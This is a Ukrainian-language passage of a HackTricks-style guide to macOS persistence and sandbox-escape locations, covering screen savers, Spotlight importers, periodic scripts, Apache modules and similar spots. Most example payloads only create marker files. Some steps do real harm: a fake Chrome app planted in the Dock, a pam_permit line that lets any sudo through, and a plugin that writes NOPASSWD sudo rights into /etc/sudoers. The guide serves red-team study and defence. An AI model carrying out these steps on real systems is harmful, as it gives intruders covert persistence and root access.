Усі програми, які з'являються в доку, вказані всередині plist: ~/Library/Preferences/com.apple.dock.plist

Можливо додати додаток просто з:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

З використанням деяких соціально-інженерних методів ви можете імітувати, наприклад, Google Chrome всередині дока та фактично виконати свій власний скрипт:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Вибір кольорів

Опис: https://theevilbit.github.io/beyond/beyond_0017

  • Корисно для обхідної пісочниці: 🟠

  • Потрібна дуже конкретна дія

  • Ви потрапите в іншу пісочницю

  • Обхід TCC: 🔴

Місце

  • /Library/ColorPickers

  • Потрібні права адміністратора

  • Тригер: Використання вибору кольору

  • ~/Library/ColorPickers

  • Тригер: Використання вибору кольору

Опис та Використання

Скомпілюйте пакунок вибору кольору з вашим кодом (наприклад, ви можете використати цей, наприклад) та додайте конструктор (як у розділі Заставки) та скопіюйте пакунок в ~/Library/ColorPickers.

Потім, коли вибір кольору спрацьовує, ваш код також має спрацювати.

Зверніть увагу, що бінарний файл, який завантажує вашу бібліотеку, має дуже обмежену пісочницю: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Плагіни синхронізації Finder

Опис: https://theevilbit.github.io/beyond/beyond_0026/ Опис: https://objective-see.org/blog/blog_0x11.html

  • Корисно для обхіду пісочниці: Ні, оскільки потрібно виконати власний додаток

  • Обхід TCC: ???

Місцезнаходження

  • Конкретний додаток

Опис та Використання

Приклад додатку з розширенням синхронізації Finder можна знайти тут.

Додатки можуть мати Розширення синхронізації Finder. Це розширення буде вбудовано в додаток, який буде виконаний. Більше того, для того, щоб розширення могло виконати свій код, воно повинно бути підписане дійсним сертифікатом розробника Apple, воно повинно бути пісочницею (хоча можуть бути додані спрощені винятки) і воно повинно бути зареєстроване з чимось на зразок:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Екранна заставка

Опис: https://theevilbit.github.io/beyond/beyond_0016/ Опис: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Корисно для обхіду пісочниці: 🟠

  • Але ви потрапите в звичайну пісочницю додатків

  • Обхід TCC: 🔴

Місцезнаходження

  • /System/Library/Screen Savers

  • Потрібні права адміністратора

  • Тригер: Виберіть екранну заставку

  • /Library/Screen Savers

  • Потрібні права адміністратора

  • Тригер: Виберіть екранну заставку

  • ~/Library/Screen Savers

  • Тригер: Виберіть екранну заставку

Опис та Використання

Створіть новий проект в Xcode та виберіть шаблон для створення нової екранної заставки. Потім додайте до нього свій код, наприклад, наступний код для генерації журналів.

Збудуйте його та скопіюйте пакет .saver в ~/Library/Screen Savers. Потім відкрийте GUI екранної заставки та просто клацніть на неї, вона повинна згенерувати багато журналів:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

Зверніть увагу, що через entitlements бінарного файлу, який завантажує цей код (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver), ви зможете знаходитися в звичайному пісочниці додатків.

Код екранного захисника:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Плагіни Spotlight

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Корисно для обхіду пісочниці: 🟠

  • Але ви опинитеся в пісочниці додатків

  • Обхід TCC: 🔴

  • Пісочниця виглядає дуже обмежено

Місцезнаходження

  • ~/Library/Spotlight/

  • Тригер: Створюється новий файл з розширенням, керованим плагіном Spotlight.

  • /Library/Spotlight/

  • Тригер: Створюється новий файл з розширенням, керованим плагіном Spotlight.

  • Потрібні права адміністратора

  • /System/Library/Spotlight/

  • Тригер: Створюється новий файл з розширенням, керованим плагіном Spotlight.

  • Потрібні права адміністратора

  • Some.app/Contents/Library/Spotlight/

  • Тригер: Створюється новий файл з розширенням, керованим плагіном Spotlight.

  • Потрібно нове додаток

Опис та Використання

Spotlight - це вбудована функція пошуку macOS, призначена для забезпечення користувачам швидкого та всебічного доступу до даних на їх комп'ютерах. Для полегшення цієї швидкості пошуку, Spotlight підтримує власну базу даних та створює індекс, аналізуючи більшість файлів, що дозволяє швидко шукати як за назвами файлів, так і за їх вмістом.

Основний механізм Spotlight включає центральний процес під назвою 'mds', що означає 'сервер метаданих'. Цей процес керує всім сервісом Spotlight. Доповнюючи це, є кілька демонів 'mdworker', які виконують різноманітні завдання обслуговування, такі як індексація різних типів файлів (ps -ef | grep mdworker). Ці завдання стають можливими завдяки плагінам імпортування Spotlight або ".mdimporter bundles", які дозволяють Spotlight розуміти та індексувати вміст у широкому спектрі форматів файлів.

Плагіни або .mdimporter bundles розташовані в раніше згаданих місцях, і якщо з'являється новий пакет, він завантажується протягом хвилини (не потрібно перезапускати жодний сервіс). Ці пакети повинні вказувати, які типи файлів та розширення вони можуть керувати, таким чином, Spotlight буде використовувати їх, коли створюється новий файл з вказаним розширенням.

Можливо знайти всі mdimporters, які завантажені, запустивши:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

І, наприклад, /Library/Spotlight/iBooksAuthor.mdimporter використовується для аналізу цих типів файлів (розширення .iba та .book серед інших):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Якщо ви перевіряєте Plist іншого mdimporter, ви, можливо, не знайдете запис UTTypeConformsTo. Це тому, що це вбудований Uniform Type Identifiers (UTI) і не потребує вказувати розширення.

Більше того, системні плагіни завжди мають пріоритет, тому зловмисник може отримати доступ лише до файлів, які не індексуються іншими mdimporters Apple.

Для створення власного імпортера ви можете почати з цього проекту: https://github.com/megrimm/pd-spotlight-importer і потім змінити назву, CFBundleDocumentTypes та додати UTImportedTypeDeclarations, щоб підтримувати розширення, яке ви хочете підтримувати, і відобразити їх у schema.xml. Потім змініть код функції GetMetadataForFile, щоб виконати вашу корисну дію, коли створюється файл з обробленим розширенням.

Нарешті збудуйте та скопіюйте свій новий .mdimporter до одного з попередніх місць, і ви можете перевірити, чи він завантажується, спостерігаючи за журналами або перевіряючи mdimport -L.

Панель уподобань

Здається, що це більше не працює.

Опис: https://theevilbit.github.io/beyond/beyond_0009/

  • Корисно для обходу пісочниці: 🟠

  • Потрібна конкретна дія користувача

  • Обхід TCC: 🔴

Місцезнаходження

  • /System/Library/PreferencePanes

  • /Library/PreferencePanes

  • ~/Library/PreferencePanes

Опис

Здається, що це більше не працює.

Обхід коробки пісочниці

Тут ви знайдете початкові місця, корисні для обходу пісочниці, які дозволяють вам просто виконати щось, записавши це в файл, бути root та/або потребувати інших дивних умов.

Періодичний

Опис: https://theevilbit.github.io/beyond/beyond_0019/

  • Корисно для обходу пісочниці: 🟠

  • Але вам потрібно бути root

  • Обхід TCC: 🔴

Місцезнаходження

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic

  • Потрібен root

  • Тригер: Коли настане час

  • /etc/daily.local, /etc/weekly.local або /etc/monthly.local

  • Потрібен root

  • Тригер: Коли настане час

Опис та Експлуатація

Періодичні скрипти (/etc/periodic) виконуються через налаштовані демони запуску в /System/Library/LaunchDaemons/com.apple.periodic*. Зверніть увагу, що скрипти, збережені в /etc/periodic/, виконуються як власник файлу, тому це не працюватиме для потенційного підвищення привілеїв.

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

Існують інші періодичні скрипти, які будуть виконані, як вказано в /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Якщо ви зможете записати будь-який з файлів /etc/daily.local, /etc/weekly.local або /etc/monthly.local, він буде виконаний раніше чи пізніше.

Зверніть увагу, що періодичний скрипт буде виконаний як власник скрипта. Таким чином, якщо звичайний користувач є власником скрипта, він буде виконаний як цей користувач (це може запобігти атакам на підвищення привілеїв).

PAM

Writeup: Linux Hacktricks PAM Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • Корисно для обхіду пісочниці: 🟠

  • Але вам потрібно бути root

  • Обхід TCC: 🔴

Місцезнаходження

  • Завжди потрібен root

Опис та експлуатація

Оскільки PAM більше спрямований на постійність та шкідливе ПЗ, ніж на просте виконання в macOS, цей блог не надасть детального пояснення, прочитайте описи, щоб краще зрозуміти цю техніку.

Перевірте модулі PAM за допомогою:

ls -l /etc/pam.d

Зловживання технікою постійності / підвищення привілеїв за допомогою PAM настільки просте, як зміна модуля /etc/pam.d/sudo, додавши на початку рядок:

auth       sufficient     pam_permit.so

Так це буде виглядати приблизно так:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Тому будь-яка спроба використання sudo буде працювати.

Зверніть увагу, що цей каталог захищений TCC, тому дуже ймовірно, що користувач отримає запит на доступ.

Плагіни авторизації

Опис: https://theevilbit.github.io/beyond/beyond_0028/ Опис: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Корисно для обхіду пісочниці: 🟠

  • Але потрібно бути root та робити додаткові налаштування

  • Обхід TCC: ???

Місцезнаходження

  • /Library/Security/SecurityAgentPlugins/

  • Потрібні права root

  • Також потрібно налаштувати базу даних авторизації для використання плагіна

Опис та Використання

Ви можете створити плагін авторизації, який буде виконуватися при вході користувача для збереження постійності. Для отримання додаткової інформації про те, як створити один з цих плагінів, перегляньте попередні описи (і будьте обережні, погано написаний плагін може заблокувати вас і вам доведеться очистити свій Mac у режимі відновлення).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Перемістіть пакет до місця завантаження:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Нарешті додайте правило для завантаження цього плагіна:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms повідомить фреймворку авторизації, що йому потрібно викликати зовнішній механізм для авторизації. Більше того, privileged зробить його виконуваним користувачем root.

Запустіть його за допомогою:

security authorize com.asdf.asdf

І потім група персоналу повинна мати доступ sudo (прочитайте /etc/sudoers, щоб підтвердити).

Man.conf

Опис: https://theevilbit.github.io/beyond/beyond_0030/

  • Корисно для обхіду пісочниці: 🟠

  • Але вам потрібно бути root та користувач повинен використовувати man

  • Обхід TCC: 🔴

Місце розташування

  • /private/etc/man.conf

  • Потрібен root

  • /private/etc/man.conf: Кожного разу, коли використовується man

Опис та Використання

Файл конфігурації /private/etc/man.conf вказує на бінарний/скрипт, який використовується при відкритті файлів документації man. Таким чином, шлях до виконуваного файлу можна змінити, щоб кожного разу, коли користувач використовує man для читання документів, виконувалася задній прохід.

Наприклад, встановлено в /private/etc/man.conf:

MANPAGER /tmp/view

І потім створіть /tmp/view так:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Опис: https://theevilbit.github.io/beyond/beyond_0023/

  • Корисно для обхіду пісочниці: 🟠

  • Але вам потрібно мати права root та запущений apache

  • Обхід TCC: 🔴

  • Httpd не має привілеїв

Місце

  • /etc/apache2/httpd.conf

  • Потрібні права root

  • Тригер: Коли запускається Apache2

Опис та Використання

Ви можете вказати у /etc/apache2/httpd.conf завантаження модуля, додавши рядок, наприклад:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

Таким чином ваші скомпільовані модулі будуть завантажені Apache. Єдине, що потрібно, - це підписати його дійсним сертифікатом Apple, або потрібно додати новий довірений сертифікат в систему та підписати його ним.

Потім, за необхідності, щоб переконатися, що сервер буде запущено, ви можете виконати:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Приклад коду для Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Фреймворк аудиту BSM

Опис: https://theevilbit.github.io/beyond/beyond_0031/

  • Корисно для обхіду пісочниці: 🟠

  • Але вам потрібно бути root, щоб auditd працював і викликав попередження

  • Обхід TCC: 🔴

Місце

  • /etc/security/audit_warn

  • Потрібні права root

  • Тригер: Коли auditd виявляє попередження

Опис та Використання

Кожного разу, коли auditd виявляє попередження, виконується сценарій /etc/security/audit_warn. Тому ви можете додати свій вплив до нього.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Пункти запуску

Це застаріло, тому в цих каталогах нічого не повинно бути знайдено.

StartupItem - це каталог, який повинен бути розташований у /Library/StartupItems/ або /System/Library/StartupItems/. Як тільки цей каталог створений, в ньому повинні бути два конкретних файли:

  1. Сценарій rc: сценарій оболонки, який виконується при запуску.

  2. Файл plist, з назвою StartupParameters.plist, який містить різні налаштування конфігурації.

Переконайтеся, що як сценарій rc, так і файл StartupParameters.plist правильно розміщені всередині каталогу StartupItem, щоб процес завантаження міг їх впізнати та використовувати.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

emond

Я не можу знайти цей компонент у моєму macOS, тому для отримання додаткової інформації перевірте опис

Опис: https://theevilbit.github.io/beyond/beyond_0023/

Представлений Apple, emond - це механізм журналювання, який, схоже, є недорозвиненим або, можливо, покинутим, але залишається доступним. Хоча цей невідомий сервіс не є особливо корисним для адміністратора Mac, він може слугувати як тонкий метод постійності для зловмисників, ймовірно, непомічений більшістю адміністраторів macOS.

Для тих, хто знає про його існування, виявлення будь-якого зловживання emond досить просте. LaunchDaemon системи для цього сервісу шукає сценарії для виконання у одній папці. Щоб перевірити це, можна використати наступну команду:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

Місце розташування

  • /opt/X11/etc/X11/xinit/privileged_startx.d

  • Потрібні права адміністратора

  • Спрацьовує: З XQuartz

Опис та Використання

XQuartz більше не встановлюється в macOS, тому якщо вам потрібна більш детальна інформація, перегляньте опис.

kext

Так складно встановлювати kext навіть як адміністратор, що я не розгляну це як можливість виходу з пісочниці або навіть для постійності (якщо у вас є експлойт)

Місце розташування

Для встановлення KEXT як елемента автозапуску, його потрібно встановити в одному з наступних місць:

  • /System/Library/Extensions

  • Файли KEXT, вбудовані в операційну систему OS X.

  • /Library/Extensions

  • Файли KEXT, встановлені стороннім програмним забезпеченням

Ви можете перелічити в даний час завантажені файли kext за допомогою:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Для отримання додаткової інформації про розширення ядра перевірте цей розділ.

amstoold

Опис: https://theevilbit.github.io/beyond/beyond_0029/

Місцезнаходження

  • /usr/local/bin/amstoold

  • Потрібні права адміністратора

Опис та експлуатація

Здається, plist з /System/Library/LaunchAgents/com.apple.amstoold.plist використовував цей виконуваний файл, викладаючи сервіс XPC... справа в тому, що виконуваний файл не існував, тому ви могли помістити туди щось, і коли сервіс XPC буде викликаний, буде викликаний ваш виконуваний файл.

Я більше не можу знайти це в моєму macOS.

xsanctl

Опис: https://theevilbit.github.io/beyond/beyond_0015/

Місцезнаходження

  • /Library/Preferences/Xsan/.xsanrc

  • Потрібні права адміністратора

  • Тригер: Коли сервіс запускається (рідко)

Опис та експлуатація

Здається, цей скрипт не дуже часто використовується, і я навіть не зміг знайти його в моєму macOS, тому якщо ви хочете отримати більше інформації, перевірте опис.

/etc/rc.common

Це не працює в сучасних версіях MacOS

Також можна помістити тут команди, які будуть виконуватися при запуску. Приклад звичайного скрипту rc.common:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Техніки та інструменти постійності

Підтримайте HackTricks

Last updated